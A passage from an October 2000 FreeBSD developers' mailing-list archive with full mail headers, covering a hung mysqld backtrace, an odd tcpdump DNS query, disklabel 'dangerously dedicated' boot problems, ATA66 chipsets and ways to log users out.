(thd=0x8a3d000, put_in_cache=true) at mysqld.cc:928 #5 0x807ef15 in handle_one_connection (arg=0x8a3d000) at sql_parse.cc:421 #6 0x281df65b in _thread_start () from /usr/lib/libc_r.so.4 #7 0x0 in ?? () (gdb) thread 3 [Switching to thread 3 (process 47659, thread 3)] #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 #1 0x28218493 in _thread_kern_sched_state_unlock () from /usr/lib/libc_r.so.4 #2 0x2821643a in pthread_mutex_lock () from /usr/lib/libc_r.so.4 #3 0x28216744 in _mutex_cv_lock () from /usr/lib/libc_r.so.4 #4 0x2821da14 in pthread_cond_timedwait () from /usr/lib/libc_r.so.4 #5 0x28205389 in _thread_gc () from /usr/lib/libc_r.so.4 #6 0x281df65b in _thread_start () from /usr/lib/libc_r.so.4 #7 0x0 in ?? () (gdb) thread 4 [Switching to thread 4 (process 47659, thread 4)] #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x2821780e in _thread_kern_sched () from /usr/lib/libc_r.so.4 #1 0x28218422 in _thread_kern_sched_state () from /usr/lib/libc_r.so.4 #2 0x281dd39b in sigwait () from /usr/lib/libc_r.so.4 #3 0x807a244 in signal_hand (arg=0x0) at mysqld.cc:1153 #4 0x281df65b in _thread_start () from /usr/lib/libc_r.so.4 #5 0x0 in ?? () (gdb) Clients left connected were still able to communicate thru the existing connections. mysqld process is shown by ps as idle. FreeBSD is a vanilla 4.1-RELEASE with only tcp-iss patch installed, though mysqld hung without the patch as well. Any advice is very much appreciated. Ekaterina Ivannikova To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 4:44:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay2.wertep.com (relay2.wertep.com [194.44.90.130]) by hub.freebsd.org (Postfix) with ESMTP id 93B8437B479 for ; Mon, 30 Oct 2000 04:44:20 -0800 (PST) Received: from She.wertep.com (she-tun-proxy [192.168.252.2]) by relay2.wertep.com (8.9.3/8.9.3) with ESMTP id OAA76895 for ; Mon, 30 Oct 2000 14:44:17 +0200 (EET) (envelope-from petro@She.wertep.com) Received: from localhost (petro@localhost) by She.wertep.com (8.9.3/8.9.3) with ESMTP id OAA97866 for ; Mon, 30 Oct 2000 14:48:55 +0200 (EET) (envelope-from petro@She.wertep.com) Date: Mon, 30 Oct 2000 14:48:55 +0200 (EET) From: petro To: freebsd-hackers@FreeBSD.org Subject: Need help!!!! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I receive such message using tcpdump... please help me what does it mean... > 01:57:30.616515 h4h.n0w.b3l0ngz.t0.xp.b3cuz.th3.ar3.lamerz.nu.1026 > mydomain.com.domain: 28951+ NS? . (17) [tos 0x60] > 01:57:30.618814 mydomain.com.domain > h4h.n0w.b3l0ngz.t0.xp.b3cuz.th3.ar3.lamerz.nu.1026: 28951 13/0/13 (436) > 01:57:31.274774 h4h.n0w.b3l0ngz.t0.xp.b3cuz.th3.ar3.lamerz.nu > mydomain.com: icmp: h4h.n0w.b3l0ngz.t0.xp.b3cuz.th3.ar3.lamerz.nu udp port 1026 unreachable [tos 0x60] > 01:57:33.756127 h4h.n0w.b3l0ngz.t0.xp.b3cuz.th3.ar3.lamerz.nu.1026 > mydomain.com.domain: 28951+ NS? . (17) [tos 0x60] > 01:57:33.758429 mydomain.com.domain > h4h.n0w.b3l0ngz.t0.xp. b3cuz.th3.ar3.lamerz.nu.1026: 28951 13/0/13 (436) mydomain is the real name of my domain..... Thank you very much for your help... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 5:19: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 7A59937B479; Mon, 30 Oct 2000 05:18:56 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id FAA22573; Mon, 30 Oct 2000 05:18:55 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda22571; Mon Oct 30 05:18:41 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.0/8.9.1) id e9UDIf826173; Mon, 30 Oct 2000 05:18:41 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdS26171; Mon Oct 30 05:18:39 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.1/8.9.1) id e9UDIdf05654; Mon, 30 Oct 2000 05:18:39 -0800 (PST) Message-Id: <200010301318.e9UDIdf05654@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdZt5650; Mon Oct 30 05:18:18 2000 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.1.1-RELEASE X-Sender: cy To: John Baldwin Cc: Cy Schubert - ITSD Open Systems Group , "freebsd-stable@FreeBSD.ORG" , hackers@FreeBSD.org, Matt Dillon Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h In-reply-to: Your message of "Sat, 28 Oct 2000 14:59:01 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 05:18:18 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , John Baldwin writes: > > On 28-Oct-00 Cy Schubert - ITSD Open Systems Group wrote: > > In message <200010271824.e9RIOLw06173@earth.backplane.com>, Matt Dillon > > writes: > >> :Do you have dangerously dedicated mode on by chance? Some > >> :SCSI BIOS's _will_ crash with this if you use dangerously > >> :dedicated mode. > >> > >> Yup. > >> > >> The real question is: Ok, so if I can't use dangerously dedicated > >> mode, then how do I create a disklabel on a normal partition? > >> Everything > >> I try using fdisk and disklabel fails. fdisk will create a normal > >> freebsd-dedicated dos partition, but disklabel refuses to label it. > > > > After fdisk creating partitions try, > > > > dd if=/dev/zero of=/dev/da0s1 count=16 > > > > Then disklabel -r -w and disklabel -B > > Nope, I tried that. Without Dillon's patch, disklabel cannot create > a virgin disklabel on a slice. Period. I tried it too. Looks like something has changed since I last labelled a disk over a year ago. This procedure used to work at one time. Prior to that the dd wasn't required. Sysinstall does work. Is there some way we could share code between sysinstall and disklabel? While sysinstall might be modified to keep up with changes in the kernel, disklabel would benefit too? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/DEC Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 5:54: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 149C137B479; Mon, 30 Oct 2000 05:54:03 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id FAA54210; Mon, 30 Oct 2000 05:53:07 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 05:53:07 -0800 From: "David O'Brien" To: Robert Nordier Cc: Matt Dillon , Terry Lambert , "freebsd-stable@FreeBSD.ORG" , hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux hardware Message-ID: <20001030055307.B41250@dragon.nuxi.com> References: <200010271034.e9RAY9J04147@earth.backplane.com> <200010271110.NAA26088@siri.nordier.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010271110.NAA26088@siri.nordier.com>; from rnordier@nordier.com on Fri, Oct 27, 2000 at 01:10:56PM +0200 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 27, 2000 at 01:10:56PM +0200, Robert Nordier wrote: > Just doing the disklabel -w -r followed by the disklabel -B is creating > a dangerously dedicated disk, Actually this is a "fully dedicated" disk. (made to look like a 50MB or so disk to M$ products) Sysinstall is used to create a "dangeriously dedicated" disk (when not create slices. Yep, on the i386 we actually have three kinds of disklables. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 5:58:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 388F137B4CF; Mon, 30 Oct 2000 05:58:25 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id FAA22680; Mon, 30 Oct 2000 05:58:16 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda22678; Mon Oct 30 05:58:00 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.0/8.9.1) id e9UDw0u26379; Mon, 30 Oct 2000 05:58:00 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdy26377; Mon Oct 30 05:57:43 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.1/8.9.1) id e9UDvgR09772; Mon, 30 Oct 2000 05:57:42 -0800 (PST) Message-Id: <200010301357.e9UDvgR09772@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdbO9767; Mon Oct 30 05:56:44 2000 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.1.1-RELEASE X-Sender: cy To: Matt Dillon Cc: John Baldwin , hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, Cy Schubert - ITSD Open Systems Group , Matthew Jacob Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h In-reply-to: Your message of "Sat, 28 Oct 2000 21:31:39 PDT." <200010290431.e9T4VdP68089@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 05:56:44 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200010290431.e9T4VdP68089@earth.backplane.com>, Matt Dillon writes: > :I think there is more there than anyone wants to find out. Can you commit > :your fixes to make disklabel label virgin slices please? > : > :John Baldwin -- http://www.FreeBSD.org/~jhb/ > > Yah, it's done. I'll forward merge it from -stable -> -current > after the release is rolled. One doesn't see many of these: MFS that is. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/DEC Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 5:59:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 7B8C637B4CF; Mon, 30 Oct 2000 05:59:07 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id FAA57556; Mon, 30 Oct 2000 05:59:05 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 05:59:05 -0800 From: "David O'Brien" To: Matt Dillon Cc: hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h Message-ID: <20001030055905.C41250@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <200010272024.e9RKOHL07526@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010272024.e9RKOHL07526@earth.backplane.com>; from dillon@earth.backplane.com on Fri, Oct 27, 2000 at 01:24:17PM -0700 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 27, 2000 at 01:24:17PM -0700, Matt Dillon wrote: > I think that the days of the 'dangerously dedicated partition' are > numbered. Not quite. We don't do slices on the Alpha -- in fact our slice code royally screws the Alpha users as it isn't nicely layered and thus hard to avoid. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 6:14:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from spoon.beta.com (064-184-210-067.inaddr.vitts.com [64.184.210.67]) by hub.freebsd.org (Postfix) with ESMTP id 6033437B479; Mon, 30 Oct 2000 06:14:10 -0800 (PST) Received: from spoon.beta.com (localhost [127.0.0.1]) by spoon.beta.com (8.11.0/8.11.0) with ESMTP id e9UEDMu76771; Mon, 30 Oct 2000 09:13:22 -0500 (EST) (envelope-from mcgovern@spoon.beta.com) Message-Id: <200010301413.e9UEDMu76771@spoon.beta.com> To: Soren Schmidt Cc: qa@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: DMA/66 not available for secondary IDE bus? In-reply-to: Your message of "Mon, 30 Oct 2000 08:27:51 +0100." <200010300727.IAA22815@freebsd.dk> Date: Mon, 30 Oct 2000 09:13:22 -0500 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Never mind. I'm on drugs. That, and the PC industry loves selling "identical" machines that aren't identical under the cover. I checked the chipset, and it only does ATA33, unlike the other machine I bought from the same place, same catalog number, same order, that does ATA66. One note of interest, then... You may want to remove: ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable for chipsets that don't do ATA66, if you can tell. Its misleading. It implies that if one replaced the cable, one would get ATA66. Hence the confusion about why the secondary bus, which has the cable, wasn't doing it (no message at all). However, the kicker is: atapci0: port 0xc800-0xc80f at device 4.1 on pci0 which makes it clear. But, as mentioned, its "twin" does ATA66, so my bad. But, thats what I get for playing with things when I'm over tired. *feeling like a dumb QA guy* -Brian > It seems Brian McGovern wrote: > > This may be intentional, but I've noticed that if you have a non-UDMA66 device > > on the primary IDE bus, FreeBSD 4.x does not allow you to have UDMA66 on > > the secondary bus. > > Say what ? there is NO such limitation in the ATA driver.... > What chipset are we talking about here ? > > -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 7: 4:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from yertle.kciLink.com (yertle.kciLink.com [205.252.34.9]) by hub.freebsd.org (Postfix) with ESMTP id 2C2DA37B479; Mon, 30 Oct 2000 07:04:08 -0800 (PST) Received: from onceler.kciLink.com (onceler.kciLink.com [205.252.34.3]) by yertle.kciLink.com (Postfix) with ESMTP id CE9352E443; Mon, 30 Oct 2000 10:04:01 -0500 (EST) Received: (from khera@localhost) by onceler.kciLink.com (8.11.1/8.11.1) id e9UF41841958; Mon, 30 Oct 2000 10:04:01 -0500 (EST) (envelope-from khera) From: Vivek Khera MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14845.36321.671382.200868@onceler.kciLink.com> Date: Mon, 30 Oct 2000 10:04:01 -0500 (EST) To: hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h In-Reply-To: <200010272024.e9RKOHL07526@earth.backplane.com> References: <200010272024.e9RKOHL07526@earth.backplane.com> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "MD" == Matt Dillon writes: MD> I think that the days of the 'dangerously dedicated partition' are MD> numbered. It has obviously caused much more havoc then people have MD> realized. We don't have time to fix it for the current release, but I I have two servers that refuse to boot unless configured with a dangerously dedicated boot disk. At boot time, the only message printed is "Missing Operating System" or some approximation of that phrase. Both of these boxes used to run BSD/OS and I did a clean install from CD for FreeBSD 4.1 on them. I *really* hope it continues to be supported as I can't bring them down long enough for a dump/restore/repartition if DD mode goes away in a future release of FreeBSD. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-545-6996 GPG & MIME spoken here http://www.khera.org/~vivek/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 7: 7: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 1D74737B4C5 for ; Mon, 30 Oct 2000 07:07:00 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9UF6gu75345; Mon, 30 Oct 2000 07:06:42 -0800 (PST) (envelope-from dillon) Date: Mon, 30 Oct 2000 07:06:42 -0800 (PST) From: Matt Dillon Message-Id: <200010301506.e9UF6gu75345@earth.backplane.com> To: Jan Grant Cc: Leif Neland , Ryan Thompson , freebsd-hackers Subject: Re: Filesystem holes References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :The original question still stands, and I'm quite interested in hearing :an answer. : :I think Ryan's looking for an equivalent to Solaris' F_FREESP fcntl; I'm :not aware that one exists in FBSD - right? : :jan : :-- :jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ No, we don't have anything like that, though our VFS layer could support it. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 7: 9:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from yertle.kciLink.com (yertle.kciLink.com [205.252.34.9]) by hub.freebsd.org (Postfix) with ESMTP id 17ED637B4C5; Mon, 30 Oct 2000 07:09:37 -0800 (PST) Received: from onceler.kciLink.com (onceler.kciLink.com [205.252.34.3]) by yertle.kciLink.com (Postfix) with ESMTP id 9EE262E443; Mon, 30 Oct 2000 10:09:36 -0500 (EST) Received: (from khera@localhost) by onceler.kciLink.com (8.11.1/8.11.1) id e9UF9at43518; Mon, 30 Oct 2000 10:09:36 -0500 (EST) (envelope-from khera) From: Vivek Khera MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14845.36656.482936.309859@onceler.kciLink.com> Date: Mon, 30 Oct 2000 10:09:36 -0500 (EST) To: freebsd-stable@FreeBSD.ORG (freebsd-stable@FreeBSD.ORG), hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux In-Reply-To: <200010272111.XAA32064@siri.nordier.com> References: <200010272111.XAA32064@siri.nordier.com> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "RN" == Robert Nordier writes: RN> A final point: RN> o Don't use dangerously dedicated mode. Unless you have no other option to make your system boot. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-545-6996 GPG & MIME spoken here http://www.khera.org/~vivek/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 7:14:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aurora.sol.net (unknown [206.55.65.76]) by hub.freebsd.org (Postfix) with ESMTP id B4A7E37B479 for ; Mon, 30 Oct 2000 07:14:06 -0800 (PST) Received: (from jgreco@localhost) by aurora.sol.net (8.9.3/8.9.2/SNNS-1.02) id JAA55088; Mon, 30 Oct 2000 09:14:04 -0600 (CST) From: Joe Greco Message-Id: <200010301514.JAA55088@aurora.sol.net> Subject: Re: Logging users out To: hackers@freebsd.org Date: Mon, 30 Oct 2000 09:14:04 -0600 (CST) Cc: ryan@sasknow.com, andrew@ugh.net.au In-Reply-To: <200010301506.JAA02389@earth.execpc.com> from "jgreco@execpc.com" at Oct 30, 2000 09:06:44 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > a) Kill the controlling shell. This will leave some processes behind that > are no longer part of the user's session (like programs that have > detatched from the terminal and become daemons), and processes that > were never part of the user's session (like processes that they started > on a different terminal) > > b) kill - `ps -axo user,pid | grep user | awk '{print $2}'` > Kills every process owned by ``user''. Sending SIGKILL does so > in a non-catchable way. > > c) /sbin/halt is pretty much guaranteed to do the trick ;-) d) revoke() their tty I used to do variations on a) and b) above, but it's messy, time consuming, error prone, and requires ugly changes every time someone changes ps output, features, or whatever. I wrote a little line program to do a revoke(), it was basically int main(int argc, char *argv[]) { revoke(argv[1]); } Now this doesn't kill a darn thing. And you should be aware of it! But it does forcibly "close" any open fd's pointing at the tty in question, and most programs will get the hint and go away. For some uses, especially predictable uses, this is probably a lot simpler and a lot more foolproof. -- ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/342-4847 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 7:38: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id C775B37B4D7; Mon, 30 Oct 2000 07:37:54 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9UFbZJ75624; Mon, 30 Oct 2000 07:37:35 -0800 (PST) (envelope-from dillon) Date: Mon, 30 Oct 2000 07:37:35 -0800 (PST) From: Matt Dillon Message-Id: <200010301537.e9UFbZJ75624@earth.backplane.com> To: Jamie Heckford Cc: hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux hardware References: <00102815431606.00181@freefire.psi-domain.co.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :Cool idea. I will add a -z option to the disklabel code and submit it to the :author if thats OK with everyone else? : :-- :Jamie Heckford :Chief Network Engineer Sounds like an excellent idea. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 8:37:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from siri.nordier.com (c2-dbn-47.dial-up.net [196.34.155.175]) by hub.freebsd.org (Postfix) with ESMTP id 6E89937B479; Mon, 30 Oct 2000 08:37:38 -0800 (PST) Received: (from rnordier@localhost) by siri.nordier.com (8.9.3/8.6.12) id SAA53310; Mon, 30 Oct 2000 18:19:18 +0200 (SAST) From: Robert Nordier Message-Id: <200010301619.SAA53310@siri.nordier.com> Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux hardware To: obrien@FreeBSD.ORG (David O'Brien) Date: Mon, 30 Oct 2000 18:19:18 +0200 (SAST) Cc: dillon@earth.backplane.com (Matt Dillon), tlambert@primenet.com (Terry Lambert), freebsd-stable@FreeBSD.ORG (freebsd-stable@FreeBSD.ORG), hackers@FreeBSD.ORG In-Reply-To: <20001030055307.B41250@dragon.nuxi.com> from "David O'Brien" at Oct 30, 2000 05:53:07 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David O'Brien wrote: > On Fri, Oct 27, 2000 at 01:10:56PM +0200, Robert Nordier wrote: > > Just doing the disklabel -w -r followed by the disklabel -B is creating > > a dangerously dedicated disk, > > Actually this is a "fully dedicated" disk. (made to look like a 50MB or > so disk to M$ products) > Sysinstall is used to create a "dangeriously dedicated" disk (when not > create slices. I can't say I agree with the distinction (though I'm not sure it really matters). Consider this comment in sys/i386/i386/autoconf.c: | * For properly dangerously dedicated disks (ones with a historical | * bogus partition table), the boot blocks will give slice = 4, but | * the kernel will only provide the compatibility slice since it | * knows that slice 4 is not a real slice. [....] The "historical bogus partition table" is defined in the file sys/kern/subr_diskmbr.c as follows: | static struct dos_partition historical_bogus_partition_table[NDOSPART] = { | { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, | { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, | { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, | { 0x80, 0, 1, 0, DOSPTYP_386BSD, 255, 255, 255, 0, 50000, }, | }; and this is the same table entry that appears in the hexdump provided by Matt Dillon: | Raw data on disk after 'disklabel -w -r da0 auto; disklabel -B da0 auto' | | 000000f0 66 8b 46 08 52 66 0f b6 d9 66 31 d2 66 f7 f3 88 |f.F.Rf...f1.f...| | . . . . . | 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 |................| | 000001f0 01 00 a5 ff ff ff 00 00 00 00 50 c3 00 00 55 aa |..........P...U.| It's a long time since I used sysinstall, but I assume that a "fully dedicated disk" just has a normal partition table with a single entry that allocates all available space. The above, OTOH, is an illegal fdisk partition table entry, and what I think most of us would refer to as "dangerously dedicated". -- Robert Nordier rnordier@nordier.com rnordier@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 10:47:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 70F0E37B4C5; Mon, 30 Oct 2000 10:47:27 -0800 (PST) Received: from laptop.baldwin.cx (ether.osd.bsdi.com [204.216.28.196]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9UIkkf76255; Mon, 30 Oct 2000 10:46:46 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20001030055905.C41250@dragon.nuxi.com> Date: Mon, 30 Oct 2000 10:47:43 -0800 (PST) From: John Baldwin To: "David O'Brien" Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h Cc: freebsd-stable@FreeBSD.org, hackers@FreeBSD.org, Matt Dillon Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Oct-00 David O'Brien wrote: > On Fri, Oct 27, 2000 at 01:24:17PM -0700, Matt Dillon wrote: >> I think that the days of the 'dangerously dedicated partition' are >> numbered. > > Not quite. We don't do slices on the Alpha -- in fact our slice code > royally screws the Alpha users as it isn't nicely layered and thus hard > to avoid. But dangerously dedicated mode isn't used on the alpha. All of this stuff is purely x86-specific. The alpha just uses a disklabel instead of an MBR. Dangerously dedicated stuffs a disklabel into an MBR along with other ugliness. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 10:47:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id A6BC137B4CF; Mon, 30 Oct 2000 10:47:29 -0800 (PST) Received: from laptop.baldwin.cx (ether.osd.bsdi.com [204.216.28.196]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9UIkff76251; Mon, 30 Oct 2000 10:46:41 -0800 (PST) 